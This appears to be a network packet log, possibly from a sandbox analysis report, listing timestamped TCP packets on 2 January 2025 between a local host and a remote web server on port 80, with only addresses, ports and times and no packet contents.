Jan 2, 2025 20:34:57.191299915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.191319942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.191344023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.195154905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.195174932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.195187092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.195197105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.195198059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.195209026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.195219040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.195224047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.195230007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.195239067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.195251942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.195348978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.198225021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198234081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198267937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.198313951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.198323011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198337078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198347092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198374033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.198401928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198409081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.198414087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198422909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198434114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.198438883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.198452950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.198472023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.216711998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216762066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216778040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216789007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216799021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216808081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.216809988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216826916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216836929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216839075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.216846943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216861010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.216866016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216881037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216881990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.216892004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216901064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.216902018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216927052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.216953039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.216983080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.216993093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217001915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217010975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217016935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217024088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217040062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217045069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217057943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217060089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217068911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217087030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217111111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217211008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217221022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217231989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217257023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217283010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217869043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217880011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217891932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217917919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217946053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.217952967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217969894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217981100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.217989922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.218000889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.218003035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.218031883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.223444939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.223457098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.223467112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.223476887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.223488092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.223503113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.223505020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.223515034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.223572016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.226097107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.226114035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.226129055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.226150990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.226177931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.226192951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.226203918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.226213932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.226231098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.226233959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.226242065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.226260900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.226286888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.232558966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232577085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232588053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232598066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232614040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232621908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.232655048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.232799053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232810974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232821941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232830048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.232842922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.232871056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.235656023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.235667944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.235677958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.235694885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.235704899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.235706091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.235717058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.235729933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.235734940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.235758066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.235795021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.241348028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.241360903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.241391897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.241400957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.241411924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.241415024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.241424084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.241435051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.241446018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.241497993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.241497993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.247211933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.247231960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.247242928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.247289896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.247319937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.247330904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.247340918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.247351885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.247375011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.247394085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.248667955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248677969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248688936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248708010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.248733997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.248764038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248780012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248790979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248801947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248814106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248822927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.248856068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.267426968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.267472982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.267524004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.267533064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.267553091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.267554998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.267565966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.267576933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.267579079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.267586946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.267596960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.267615080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.267635107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.274378061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.274394989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.274405956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.274415970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.274426937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.274437904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.274444103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.274447918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.274457932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.274480104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.274522066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.278048992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.278059959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.278069973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.278081894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.278091908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.278101921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.278106928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.278112888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.278125048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.278135061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.278155088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.281969070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.282054901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.282064915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.282077074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.282078028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.282090902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.282100916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.282111883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.282113075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.282145977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.282162905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.285002947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.285022974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.285031080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.285046101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.285068035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.285069942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.285079956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.285089970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.285099983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.285100937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.285131931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.285152912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.285157919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.285186052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303440094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303461075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303507090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303517103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303528070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303535938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303535938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303539991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303550959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303560972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303565025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303580046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303596973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303611994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303622007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303628922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303639889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303649902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303651094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303661108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303668022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303687096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303688049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303711891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303736925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303764105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303775072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303785086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303798914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303824902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303864002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303874969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303885937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303901911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303906918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303913116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303929090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.303951025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.303968906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.304660082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.304678917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.304687977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.304737091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.304744959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.304744959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.304747105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.304758072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.304766893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.304778099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.304783106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.304800987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.304812908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.310054064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.310064077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.310075045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.310085058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.310095072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.310105085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.310108900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.310115099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.310153008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.310158014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.310234070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.313366890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313376904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313393116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313402891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313419104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.313427925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313438892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313451052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313452959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.313462019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313466072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.313467026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.313503981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.319509029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.319521904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.319531918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.319541931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.319557905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.319567919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.319575071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.319581985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.319593906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.319597006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.319614887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.319631100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.322328091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.322340965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.322350979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.322364092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.322380066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.322411060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.322418928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.322422028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.322432041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.322448015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.322448015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.322474003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.322500944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.327761889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.327773094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.327826977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.327867985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.327878952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.327888966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.327898979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.327909946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.327914000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.327919960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.327936888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.327955961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.338161945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.338184118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.338232994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.338263988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.338287115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.338296890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.338301897 CET	49730	80	192.168.2.4	47.254.187.72
